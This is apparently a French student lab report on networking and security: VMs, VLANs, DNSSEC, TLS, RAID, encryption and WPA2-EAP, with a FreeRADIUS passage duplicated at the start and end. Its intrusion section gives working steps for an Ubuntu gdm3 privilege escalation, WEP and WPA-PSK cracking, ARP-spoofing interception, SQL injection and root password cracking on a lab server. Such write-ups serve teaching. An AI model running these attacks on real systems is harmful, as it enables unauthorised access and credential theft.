On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

===Ansible rôle NTP===

==Installation de Docker==

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:16:56Z

Jsoulaim :

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
